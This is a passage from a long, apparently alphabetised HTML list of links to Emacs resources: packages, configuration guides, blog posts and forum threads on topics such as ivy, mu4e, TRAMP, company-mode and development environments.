&lt;li&gt;&lt;a href="https://github.com/politza/pdf-tools"&gt;GitHub - politza/pdf-tools: Emacs support library for PDF files.&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/rougier/elegant-emacs"&gt;GitHub - rougier/elegant-emacs: A very minimal but elegant emacs (I think)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/sebastiencs/company-box"&gt;GitHub - sebastiencs/company-box: A company front-end with icons&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/takaxp/moom"&gt;GitHub - takaxp/moom: A Moom port to Emacs - Make your dominant hand FREE from your mouse (easily move frames)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/wbolster/emacs-direnv"&gt;GitHub - wbolster/emacs-direnv: direnv integration for emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/xuchunyang/another-emacs-server"&gt;GitHub - xuchunyang/another-emacs-server: An Emacs server built on HTTP and JSON&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/yyoncho/dap-mode/"&gt;GitHub - yyoncho/dap-mode: Debug Adapter Protocol for Emacs (Java/Python)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/zk-phi/electric-case"&gt;GitHub - zk-phi/electric-case: automatic foo-bar to fooBar and foo_bar&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/stapelberg/configfiles/blob/master/.github/workflows/emacs.yml"&gt;Github continuous integration for your Emacs init (yml config)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/rememberYou/.emacs.d/blob/b00402c2b51d0435ca8b0267ef71f5fa3558d41a/config.org#gnuplot"&gt;gnuplot Emacs config&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/benma/go-dlv.el"&gt;Go Delve - Debug Go programs interactively with the GUD&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bytedude.com/gpg-in-emacs/"&gt;GPG In Emacs | Bytedude&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://doc.rix.si/org/fsem.html"&gt;Hardcore Freestyle Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bbatsov/projectile"&gt;Helm Projectile&lt;/a&gt;: Is awesome for finding files in emacs.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.emacswiki.org/emacs/HelpPlus"&gt;Help Plus: Enhancing Emacs help functions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jekor/hidepw"&gt;hidepw - an Emacs minor mode for hiding passwords&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hotair.tech/blog/goodbye-vscode"&gt;Hot Air - Goodbye VSCode, Hello Emacs (Again) has handy JavaScript tips&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/efsg0t/how_i_enqueue_online_videos_in_mpv_with_emacs/"&gt;How I enqueue online videos in mpv with Emacs : emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/f3ed3r/how_is_doom_emacs_so_damn_fast/"&gt;How is Doom Emacs so damn fast? : emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/hlissner/doom-emacs/wiki/FAQ#how-is-dooms-startup-so-fast"&gt;How is Doom’s startup so fast?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.yitang.uk/2015/09/24/how-to-create-a-screencast-gif-in-emacs/"&gt;How to Create a Screencast GIF in Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nullprogram.com/blog/2013/02/06/"&gt;How to Make an Emacs Minor Mode&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://yoo2080.wordpress.com/2011/12/01/how-to-run-a-new-instance-of-emacs-from-within-emacs-2/"&gt;How to run a new instance of emacs from within emacs | Yoo Box&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sixty-north.com/blog/series/how-to-write-company-mode-backends.html"&gt;How to write company-mode backends&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tim.hibal.org/blog/how-we-wrote-a-textbook"&gt;How We Wrote a Textbook &amp;amp; (Tim Wheeler)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.howardism.org/Technical/Emacs/piper-presentation-transcript.html"&gt;Howard Abrams's Death to the Shell presentation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/howardabrams/dot-files/blob/master/emacs-eshell.org"&gt;Howard Abrams's eshell config&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/chrisbarrett/swift-mode"&gt;hrisbarrett/swift-mode&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/iamleeg/swift-mode"&gt;iamleeg/swift-mode&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vxlabs.com/2019/08/25/format-flowed-with-long-lines/"&gt;Improve the plaintext email experience through format=flowed with long lines. - vxlabs (mu4e)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/mkcms/interactive-align"&gt;interactive-align: Interactively align by regular expression in emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://skybert.net/emacs/investigating-emacs-cpu-usage/"&gt;investigating Emacs CPU usage&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ivanmalison.github.io/dotfiles/#go"&gt;Ivan Malison's Go config &lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/57fnar/ivy_completion_at_point_in_an_overlay/"&gt;Ivy completion at point in an overlay : emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://writequit.org/denver-emacs/presentations/2017-04-11-ivy.html"&gt;Ivy, Counsel and Swiper (writequit.org)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Yevgnen/ivy-rich/"&gt;ivy-rich: An ivy wrapper providing additional customizations &lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/squiter/ivy-youtube"&gt;ivy-youtube: Search for an Youtube video inside Emacs with Ivy&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/skeeto/javadoc-lookup"&gt;javadoc-lookup&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.binchen.org/posts/javascript-code-navigation-in-counsel-etags.html"&gt;Javascript code navigation in counsel-etags (Chen's blog)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://truongtx.me/2014/02/23/set-up-javascript-development-environment-in-emacs/"&gt;Javascript development environment&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jcs-elpa/parse-it"&gt;jcs-elpa/parse-it: Basic Parser in Emacs Lisp (Swift and ObjC included)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.xiangji.me/"&gt;JI Xiang&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gitlab.com/jjzmajic/handle"&gt;jjzmajic / handle: A handle for major-mode generic functions.&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hackr.io/tutorials/learn-emacs"&gt;Learn Emacs - 2019 Most Recommended Emacs Tutorials | Hackr.io&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/rememberYou/.emacs.d/blob/b00402c2b51d0435ca8b0267ef71f5fa3558d41a/config.org#ledger"&gt;Ledger Emacs config&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.lunaryorn.com/"&gt;Lunarsite&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://spin.atomicobject.com/2019/12/12/fixing-emacs-macos-catalina/"&gt;macOS Catalina: Fixing Emacs After an Upgrade&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://magit.vc/manual/magit/Wip-Modes.html"&gt;Magit User Manual: Wip Modes&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/legoscia/messages-are-flowing"&gt;Make it easier to send &amp;quot;flowed&amp;quot; email messages from Emacs (mu4e)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.lunaryorn.com/posts/make-your-emacs-mode-line-more-useful.html"&gt;Make your Emacs Mode Line more useful - Sebastian Wiesner&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zeekat.nl/articles/making-emacs-work-for-me.html"&gt;Making Emacs work for me&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ebzzry.io/en/emacs-dired/"&gt;Managing Directories with Emacs (dired)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mbork.pl/2019-03-18_Free_Emacs_key_bindings"&gt;Marcin Borkowski: 2019-03-18 Free Emacs key bindings&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mbork.pl/2019-07-08_Pausing_an_Emacs_keyboard_macro"&gt;Marcin Borkowski: 2019-07-08 Pausing an Emacs keyboard macro&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mbork.pl/2015-07-04_C-x_4_bindings"&gt;Marcin Borkowski: C-x 4 bindings&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/elpa-host/marquee-header"&gt;Marquee header (scrolling text header/notification)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.masteringemacs.org"&gt;Mastering Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/mopemope/meghanada-emacs"&gt;Meghanada-Mode: A Better Java Development Environment for Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lars.ingebrigtsen.no/2017/10/15/meme-x-giffy/"&gt;meme x giffy – Random Thoughts&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://two-wrongs.com/migrating-away-from-use-package.html"&gt;Migrating Away From Use-Package&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://truongtx.me/2013/03/10/emacs-setting-up-perfect-environment-for-cc-programming"&gt;More emacs C++ goodness&lt;/a&gt;: More emacs dev environment tips.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://groups.google.com/forum/m/#!topic/mu-discuss/JqHEGycEyKI"&gt;mu4e &amp;amp; xwidget / webkit snippet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.macs.hw.ac.uk/~rs46/posts/2014-11-16-mu4e-signatures.html"&gt;Multiple Email Signatures with mu4e&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/e79l6c/my_companyposframe_configuration_displaying/"&gt;My company-posframe configuration displaying backend names&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.lunaryorn.com/2015/01/06/my-emacs-configuration-with-use-package.html"&gt;My Emacs Configuration with use-package&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gridsome.netlify.com/blog/2018/11/18/my-emacs-development-workflow/"&gt;My emacs development workflow&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.pygopar.com/my-java-android-and-eclim-setup/"&gt;My Java, Android and Eclim Setup&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://admiralakber.github.io/2018/09/20/myos-email/"&gt;myOS / email - Building the perfect email setup (Emacs/notmuch/mbsync)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://joelmccracken.github.io/entries/name-emacs-daemons-with-the-daemon-equals-option/"&gt;Name Emacs Daemons With the '–daemon=' Option&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/DamienCassou/navigel"&gt;navigel: Emacs library to facilitate the creation of tabulated-list based UIs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bbbscarter.wordpress.com/category/coding/emacs/"&gt;Nerdgasms's Emacs tips&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/codesuki/bazel-mode"&gt;Neri Marschik's bazel-mode: Basic Bazel support for Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://was.tl/projects/nimble/"&gt;Nimble (markdown replacement)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://angelic-sedition.github.io/"&gt;Nocturnal Artifice&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/danielmartin/ns-playgrounds"&gt;ns-playgrounds: Execute Swift and Objective C code snippets in Emacs (Extended org babel support)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sam217pa.github.io/2016/09/11/nuclear-power-editing-via-ivy-and-ag/"&gt;Nuclear weapon multi-editing via Ivy and Ag · Samuel Barreto&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://renard.github.io/o-blog-v2/"&gt;o-blog&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/al-skobelev/objc-yassnippets/tree/master/objc-mode"&gt;Objective-C snippets #1&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/altschuler/yas-objc"&gt;Objective-C snippets #2&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/al-skobelev/objc-yassnippets"&gt;Objective-C snippets #3&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bodil/ohai-emacs"&gt;Ohai Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gitlab.liu.se/davby02/olc"&gt;olc: Open Location Code support for Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://oremacs.com/"&gt;Or Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://karl-voit.at/orgmode/"&gt;Organize Your Life With Org-Mode&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/c0bg27/outlookstyle_html_replies_with_mu4e/"&gt;Outlook-style HTML replies with mu4e&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://patrickskiba.com/unix/tools/2019/09/18/password-management-with-pass.html"&gt;Password Management with Pass and Emacs (Patrick Skiba)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://peach-melpa.org/"&gt;PeachMelpa (Browse Emacs themes from MELPA)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stuff.mit.edu/iap/2007/emacs/emacs-slides-1.pdf"&gt;Phil Sung's Emacs slides&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.philandstuff.com/"&gt;Philip Potter Emacs blog&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jcaw/porthole"&gt;Porthole: RPC servers for Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://yiufung.net/post/anki-org/"&gt;Power up Anki with Emacs, Org mode, anki-editor and more&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bbatsov/prelude"&gt;Prelude emacs distribution&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/raxod502/prescient.el/blob/master/README.md"&gt;prescient.el: simple but effective sorting and filtering for Emacs (ivy and company).&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.howardism.org/Technical/Emacs/eshell-present.html"&gt;Presenting the Eshell&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.projectile.mx/en/latest/projects/"&gt;Projects - Projectile: The Project Interaction Library for Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://punchagan.muse-amuse.in/posts/index.html"&gt;Punchagan's blog&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/purcell/emacs.d/blob/4c81c50ba77d165df8008dd5905f8c49102793d4/lisp/init-site-lisp.el#L7-L22"&gt;Purcell's way to add downloaded repos to load-path&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://justinhj.github.io/2018/10/24/radix-trees-dash-and-company-mode.html"&gt;Radix trees, Dash and Company mode&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/syl20bnr/spacemacs/blob/master/layers/%2Bframeworks/react/README.org"&gt;React contribution layer for Spacemacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacslife.com/how-to-read-emacs-lisp.html"&gt;Read Lisp, Tweak Emacs: How to read Emacs Lisp so that you can customize Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://draketo.de/light/english/free-software/read-your-python-module-documentation-emacs"&gt;Read your python module documentation from Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://pragmaticemacs.com/category/elfeed/"&gt;Read your RSS feeds in emacs with elfeed&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/purcell/reformatter.el/blob/master/README.md"&gt;reformatter.el: Define commands which run reformatters on the current Emacs buffer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emacsredux.com/blog/2013/09/25/removing-key-bindings-from-minor-mode-keymaps/"&gt;Removing/Altering Key Bindings from Minor Mode Keymaps · Emacs Redux&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/brown/bazel-mode"&gt;Robert Brown's bazel-mode: GNU Emacs mode for editing Bazel BUILD files&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/rougier/svg-lib"&gt;rougier/svg-lib: Emacs SVG libraries for creatings tags, icons and bars&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Andersbakken/rtags/commit/ad3026cdd1d6c1e0a2728fb4992addcb76605487"&gt;rtags: Implement 'rename with multiple cursors'&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://rubikitch.com/"&gt;Rubikitch&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sachachua.com"&gt;Sachua Chua&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sakito.jp/emacs/emacsobjectivec.html"&gt;Sakito's Emacs Objective-C&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://lahtela.me/blog/2020/05/21/setting-up-emacs-for-qt-development.html"&gt;Setting up Emacs for Qt (C++) development - LSP&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lars.ingebrigtsen.no/2019/08/26/setting-up-gpg-for-emacs/"&gt;Setting up GPG for Emacs (Random Thoughts)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://superuser.com/questions/432160/slow-tramp-mode-in-emacs"&gt;Slow TRAMP mode in Emacs (Super User)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ebzzry.io/en/emacs-pairs/"&gt;Smartparens: Emacs and Pairs article&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/673554/how-can-i-refactor-c-source-code-using-emacs"&gt;SO: How can I refactor C++ source code using emacs?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://psung.blogspot.co.uk/2010/03/some-emacs-macro-tricks.html"&gt;Some Emacs macro tricks&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.baty.net/2019/spaceline-for-emacs/"&gt;Spaceline for Emacs (Jack Baty's weblog)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.draketo.de/english/emacs/staying-sane-drudge-work"&gt;Staying sane with Emacs (when facing drudge work) (Zwillingssterns Weltenwald)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vxlabs.com/2016/04/11/step-by-step-guide-to-c-navigation-and-completion-with-emacs-and-the-clang-based-rtags/"&gt;Step-by-step guide to C++ navigation and completion with Emacs and the Clang-based rtags&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/370k9p/stock_emacs_tips/"&gt;Stock Emacs tips (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://pragmaticemacs.com/emacs/super-spotlight-search-with-counsel/"&gt;Super spotlight search with ivy/counsel (Pragmatic Emacs)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/danielmartin/swift-helpful"&gt;swift-helpful: A Self-Documenting Emacs Programming Environment for Swift&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wisdomandwonder.com/article/10474/techne-emacs-friendly-keyboard-operations-keys"&gt;Techne (Emacs Friendly Keyboard): Operations Keys | Wisdom and Wonder&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.wilfred.me.uk/blog/2018/01/06/the-emacs-guru-guide-to-key-bindings/"&gt;The Emacs Guru Guide to Key Bindings – Wilfred Hughes::Blog&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/alphapapa/emacs-package-dev-handbook"&gt;The Emacs Package Developer's Handbook&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://batsov.com/articles/2011/11/30/the-ultimate-collection-of-emacs-resources/"&gt;The Ultimate Collection of Emacs Resources&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/thierryvolpiatto/emacs-tv-config/blob/master/mu4e-config.el"&gt;thierryvolpiatto's mu4e config &lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ananthakumaran/tide"&gt;Tide: TypeScript Interactive Development Environment for Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/audffp/tip_how_to_use_a_stable_and_fast_environment_to/"&gt;TIP: How to use a stable and fast environment to develop in C++ : emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emacs.stackexchange.com/questions/16489/tramp-is-unbearably-slow-osx-ssh"&gt;TRAMP is unbearably slow (OSX, ssh) - Emacs Stack Exchange&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/a/16408592"&gt;Tramp: Open file via SSH and Sudo with Emacs - Stack Overflow&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://truongtx.me/categories.html#emacs-ref"&gt;Trần Xuân Trường's Emacs posts&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/MetroWind/dotfiles-mac/blob/6c5af32349edb2764876ed6c1392fe5fc5a6f6ca/emacs/files/.emacs-pkgs/tsmanip.el"&gt;tsmanip.el manipulate timestamps/dates anywhere like org shift up/down&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tuhdo.github.io/c-ide.html"&gt;Tuhdo's C/C++ dev on Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tuhdo.github.io/emacs-tutor3.html"&gt;Tuhdo's Emacs Mini Manual (PART 3) - CUSTOMIZING AND EXTENDING EMACS&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/hztv4a/tutorial_for_building_gccemacs_on_macos_catalina/"&gt;Tutorial for building gccemacs on MacOS catalina&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tv.uvigo.es/gl/serial/513.html"&gt;Universidad de Vigo's Emacs course&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://karl-voit.at/2018/07/08/emacs-key-bindings/"&gt;UOMF: My Emacs Key Binding Strategy&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.johndcook.com/blog/2018/01/27/emacs-features-that-use-regular-expressions/"&gt;Uses of regular expressions in Emacs (John D. Cook)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.johndcook.com/blog/2018/01/27/emacs-features-that-use-regular-expressions/"&gt;Uses of regular expressions in Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://dance.computer.dance/posts/2015/04/using-ctags-on-modern-javascript.html"&gt;Using ctags on modern Javascript (handy for Emacs)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.pygopar.com/using-emacs-and-eclim-for-android-development/"&gt;Using Emacs and Eclim for Android Development&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lispcookbook.github.io/cl-cookbook/emacs-ide.html"&gt;Using Emacs as an IDE (The Common Lisp Cookbook)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/fojc1y/using_viewmode_for_modal_navigation/"&gt;Using view-mode for modal navigation : emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/DamienCassou/vdirel"&gt;vdirel vdir (calendars and contacts) for Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vedang.me/tinylog/emacs-28-native-comp-ubuntu-20-04/"&gt;Vedang Manerikar | Compiling and Running Emacs 28 from the native-comp&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://pragmaticemacs.com/emacs/view-and-annotate-pdfs-in-emacs-with-pdf-tools/"&gt;View and annotate PDFs in Emacs with PDF-tools (Pragmatic Emacs)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/eeyhdz/weekly_tipstricketc_thread/"&gt;Weekly tips/trick/etc/ thread : multiple-cursors-mode using helm/counsel&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacs.stackexchange.com/questions/2571/what-emacs-communities-exist"&gt;What Emacs communities exist?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://whattheemacsd.com/"&gt;What the Emacsd&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/yanghaoxie/which-key-posframe"&gt;which-key-posframe: Let emacs-which-key use posframe to show its popup.&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wikemacs.org/wiki/TRAMP"&gt;WikEmacs - TRAMP&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.wisdomandwonder.com/"&gt;Wisdom and Wonder&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emacs.stackexchange.com/questions/22306/working-with-tramp-mode-on-slow-connection-emacs-does-network-trip-when-i-start/22307"&gt;Working with tramp mode on slow connection&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/company-mode/company-mode/wiki/Writing-backends"&gt;Writing company backends&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://joaotavora.github.io/yasnippet/snippet-development.html"&gt;Writing yasnippets&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ergoemacs.org/emacs/emacs_list_and_set_font.html"&gt;Xah Lee's Emacs: Set Font&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.xref.sk/xrefactory/main.html"&gt;Xrefactory: A C/C++ Refactoring Browser for Emacs and XEmacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kungsgeten/yankpad"&gt;yankpad: Paste yasnippets from an org-mode file&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/zegal/yasobjc"&gt;Yasnippet generator for Cocoa iphone SDK&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/zk-phi/git-complete"&gt;Yet another completion engine powered by git grep&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://plomlompom.com/guides/emacs.html"&gt;Yet another introduction to Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://emacs.readthedocs.io/en/latest/"&gt;Yi Tang's road to emacs documentation on readthedocs.io&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/yurikhan/yk-color"&gt;yk-color: Elisp library for linear RGB color manipulation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://yoo2080.wordpress.com/category/emacs/"&gt;Yoo Box's Emacs category&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ericscrosson.wordpress.com"&gt;Zen in the Art of Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://akrl.sdf.org/"&gt;‎The Emacs Garbage Collection Magic Hack&lt;/a&gt;.&lt;/li&gt;
